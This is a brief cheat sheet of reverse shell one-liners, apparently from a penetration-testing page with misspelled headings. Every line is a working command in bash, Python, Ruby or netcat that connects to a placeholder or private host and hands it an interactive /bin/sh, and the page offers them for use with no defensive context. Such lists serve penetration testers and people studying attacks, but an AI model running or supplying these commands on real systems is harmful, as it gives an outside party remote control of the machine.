I'ts most useful Reverse Shell CheetSheet
bash -i >& /dev/tcp/[LocalHost]/[LocalPort] 0>&1
This was tested under Linux / Python 2.7.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ruby -rsocket -e'f=TCPSocket.open("[LocalHost]",[LocalPort]).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc -e /bin/sh [LocalHost] [LocalPort]